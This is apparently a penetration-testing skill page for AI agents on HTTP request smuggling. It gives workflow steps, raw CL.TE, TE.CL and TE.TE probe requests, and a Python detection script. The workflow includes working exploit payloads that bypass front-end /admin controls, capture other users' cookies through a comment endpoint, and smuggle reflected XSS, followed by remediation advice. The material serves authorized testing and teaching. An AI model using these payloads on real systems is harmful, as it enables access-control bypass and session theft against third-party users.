web application security

Exploiting HTTP Request Smuggling

Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.

burpsuitehttp-desyncowasppenetration-testingrequest-smugglingweb-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
  • When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
  • For assessing applications for HTTP desynchronization vulnerabilities
  • When other attack vectors are limited and you need to bypass front-end security controls
  • During security assessments of multi-tier web architectures

Prerequisites

  • Authorization: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
  • Burp Suite Professional: With HTTP Request Smuggler extension (Turbo Intruder)
  • smuggler.py: Automated HTTP request smuggling detection tool
  • curl: Compiled with HTTP/1.1 support and manual chunked encoding
  • Target architecture knowledge: Understanding of proxy/server chain (front-end and back-end)
  • Caution: Request smuggling can affect other users' requests; test carefully

Workflow

Step 1: Identify the HTTP Architecture

Determine the proxy/server chain and HTTP parsing characteristics.

# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"
 
# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app
 
# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1
 
# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"
 
# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin

Step 2: Test for CL.TE Smuggling

The front-end uses Content-Length, the back-end uses Transfer-Encoding.

# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:
 
POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked
 
0
 
SMUGGLED
 
# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request
 
# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:
 
POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked
 
1
A
X
 
# If response is delayed (~5-10 seconds), CL.TE is likely

Step 3: Test for TE.CL Smuggling

The front-end uses Transfer-Encoding, the back-end uses Content-Length.

# Burp Repeater - disable "Update Content-Length"
 
POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked
 
8
SMUGGLED
0
 
 
# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
 
# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked
 
0
 
X
 
# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors

Step 4: Use Automated Detection Tools

Run automated scanners to detect smuggling variants.

# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST
 
# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results
 
# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"
 
# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected

Step 5: Exploit Request Smuggling for Impact

Leverage confirmed smuggling for practical attacks.

# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy
 
# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: target.example.com
Foo: x
 
# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly
 
# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location
 
POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked
 
0
 
POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
 
body=
 
# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers
 
# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response
 
POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked
 
0
 
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x
 
# Next user receives the XSS response instead of their expected response

Step 6: Test HTTP/2 Request Smuggling

Assess HTTP/2 specific smuggling vectors.

# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't
 
# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content
 
# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header
 
# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2
 
# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests
 
# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls

Key Concepts

Concept Description
CL.TE Smuggling Front-end uses Content-Length, back-end uses Transfer-Encoding
TE.CL Smuggling Front-end uses Transfer-Encoding, back-end uses Content-Length
TE.TE Smuggling Both use Transfer-Encoding but parse obfuscated TE headers differently
HTTP Desync State where front-end and back-end disagree on request boundaries
Request Splitting One HTTP request is interpreted as two separate requests
Connection Poisoning Smuggled data affects the next request on the same TCP connection
H2.CL Smuggling HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy

Tools & Systems

Tool Purpose
Burp Suite Professional Manual request crafting with disabled auto Content-Length
HTTP Request Smuggler (Burp) Automated smuggling detection extension by James Kettle
smuggler.py Python-based automated HTTP request smuggling scanner
h2cSmuggler HTTP/2 cleartext smuggling tool from Bishop Fox
Turbo Intruder High-speed request engine for time-sensitive smuggling tests
curl Manual HTTP request crafting with precise byte control

Common Scenarios

Scenario 1: Admin Panel Access Bypass

The front-end proxy blocks /admin requests. A CL.TE smuggling attack prepends GET /admin to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.

Scenario 2: Cookie Theft via Request Capture

A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.

Scenario 3: Cache Poisoning via Smuggling

A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.

Scenario 4: HTTP/2 Desync on CDN

The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.

Output Format

## HTTP Request Smuggling Finding
 
**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration
 
### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin
 
### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request
 
### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |
 
### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.9 KB

API Reference: HTTP Request Smuggling Detection Agent

Dependencies

Library Version Purpose
requests >=2.28 Architecture fingerprinting via HTTP headers
socket/ssl stdlib Raw HTTP request construction for smuggling probes

CLI Usage

python scripts/agent.py --url https://target.example.com/ --output smuggling.json

Functions

identify_architecture(url) -> dict

Sends a GET request and inspects Server, Via, X-Served-By, CF-Ray headers to identify proxy/CDN chain.

send_raw_request(host, port, request_bytes, use_ssl, timeout) -> tuple

Low-level socket send for crafting ambiguous HTTP requests. Returns (response_bytes, elapsed_seconds, error).

test_clte_detection(host, port, use_ssl) -> dict

Sends a CL.TE probe with mismatched Content-Length and incomplete chunked body. A response delay >5s suggests vulnerability.

test_tecl_detection(host, port, use_ssl) -> dict

Sends a TE.CL probe. Back-end reading Content-Length receives extra data that becomes the next request prefix.

test_te_te_detection(host, port, use_ssl) -> dict

Tests 5 Transfer-Encoding header obfuscation variants to detect differential parsing.

run_assessment(url) -> dict

Orchestrates all tests and compiles results.

Smuggling Types

Type Front-End Uses Back-End Uses Detection
CL.TE Content-Length Transfer-Encoding Time delay on incomplete chunk
TE.CL Transfer-Encoding Content-Length Extra data becomes next request
TE.TE Transfer-Encoding Transfer-Encoding Obfuscated TE header parsed differently

Output Schema

{
  "target": "https://target.example.com/",
  "architecture": {"server": "nginx", "cdn": "Cloudflare"},
  "tests": {"CL.TE": {"likely_vulnerable": false}, ...},
  "summary": {"clte_vulnerable": false, "tecl_vulnerable": false}
}

Scripts 1

agent.py6.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""HTTP request smuggling detection agent using raw socket and requests."""

import argparse
import json
import logging
import socket
import ssl
import sys
import time
from urllib.parse import urlparse

try:
    import requests
except ImportError:
    sys.exit("requests is required: pip install requests")

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def identify_architecture(url: str) -> dict:
    """Identify the front-end/back-end HTTP architecture from response headers."""
    resp = requests.get(url, timeout=10, allow_redirects=False)
    headers = dict(resp.headers)
    arch = {
        "url": url,
        "server": headers.get("Server", "unknown"),
        "via": headers.get("Via", ""),
        "x_served_by": headers.get("X-Served-By", ""),
        "x_cache": headers.get("X-Cache", ""),
        "cf_ray": headers.get("CF-Ray", ""),
        "http_version": f"HTTP/{resp.raw.version / 10:.1f}" if hasattr(resp.raw, "version") else "unknown",
    }
    if arch["cf_ray"]:
        arch["cdn"] = "Cloudflare"
    elif "cloudfront" in headers.get("X-Amz-Cf-Id", "").lower():
        arch["cdn"] = "AWS CloudFront"
    elif arch["x_cache"]:
        arch["cdn"] = "Varnish/CDN"
    logger.info("Architecture: server=%s, cdn=%s", arch["server"], arch.get("cdn", "none"))
    return arch


def send_raw_request(host: str, port: int, request_bytes: bytes,
                      use_ssl: bool = True, timeout: float = 10.0) -> tuple:
    """Send a raw HTTP request and measure response time."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(timeout)
    if use_ssl:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        sock = context.wrap_socket(sock, server_hostname=host)
    start = time.time()
    try:
        sock.connect((host, port))
        sock.sendall(request_bytes)
        response = b""
        while True:
            try:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
            except socket.timeout:
                break
    except Exception as exc:
        elapsed = time.time() - start
        return b"", elapsed, str(exc)
    finally:
        sock.close()
    elapsed = time.time() - start
    return response, elapsed, None


def test_clte_detection(host: str, port: int, use_ssl: bool = True) -> dict:
    """Test for CL.TE smuggling via time-based detection."""
    probe = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: 4\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"\r\n"
        f"1\r\nA\r\nX"
    ).encode()

    response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=15)
    vulnerable = elapsed > 5.0 and not error
    result = {
        "test": "CL.TE",
        "response_time": round(elapsed, 2),
        "likely_vulnerable": vulnerable,
        "error": error,
    }
    logger.info("CL.TE test: %.2fs response (vulnerable=%s)", elapsed, vulnerable)
    return result


def test_tecl_detection(host: str, port: int, use_ssl: bool = True) -> dict:
    """Test for TE.CL smuggling via differential response."""
    probe = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: 6\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"\r\n"
        f"0\r\n\r\nX"
    ).encode()

    response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=15)
    status = ""
    if response:
        first_line = response.split(b"\r\n", 1)[0].decode(errors="ignore")
        status = first_line

    vulnerable = elapsed > 5.0 and not error
    result = {
        "test": "TE.CL",
        "response_time": round(elapsed, 2),
        "response_status": status,
        "likely_vulnerable": vulnerable,
        "error": error,
    }
    logger.info("TE.CL test: %.2fs (vulnerable=%s)", elapsed, vulnerable)
    return result


def test_te_te_detection(host: str, port: int, use_ssl: bool = True) -> dict:
    """Test for TE.TE smuggling with obfuscated Transfer-Encoding headers."""
    obfuscations = [
        "Transfer-Encoding: xchunked",
        "Transfer-Encoding : chunked",
        "Transfer-Encoding: chunked\r\nTransfer-Encoding: x",
        "Transfer-Encoding:\tchunked",
        "X: x\r\nTransfer-Encoding: chunked",
    ]
    results = []
    for obf in obfuscations:
        probe = (
            f"POST / HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Length: 4\r\n"
            f"{obf}\r\n"
            f"\r\n"
            f"1\r\nA\r\nX"
        ).encode()
        response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=10)
        results.append({
            "obfuscation": obf.replace("\r\n", " | "),
            "response_time": round(elapsed, 2),
            "suspicious": elapsed > 5.0,
        })
    return {"test": "TE.TE", "obfuscation_results": results}


def run_assessment(url: str) -> dict:
    """Run the full HTTP request smuggling assessment."""
    parsed = urlparse(url)
    host = parsed.hostname
    use_ssl = parsed.scheme == "https"
    port = parsed.port or (443 if use_ssl else 80)

    arch = identify_architecture(url)
    clte = test_clte_detection(host, port, use_ssl)
    tecl = test_tecl_detection(host, port, use_ssl)
    tete = test_te_te_detection(host, port, use_ssl)

    return {
        "target": url,
        "architecture": arch,
        "tests": {"CL.TE": clte, "TE.CL": tecl, "TE.TE": tete},
        "summary": {
            "clte_vulnerable": clte["likely_vulnerable"],
            "tecl_vulnerable": tecl["likely_vulnerable"],
            "any_suspicious": any(r["suspicious"] for r in tete["obfuscation_results"]),
        },
    }


def main():
    parser = argparse.ArgumentParser(description="HTTP Request Smuggling Detection Agent")
    parser.add_argument("--url", required=True, help="Target URL")
    parser.add_argument("--output", default="smuggling_report.json")
    args = parser.parse_args()

    report = run_assessment(args.url)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)
    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
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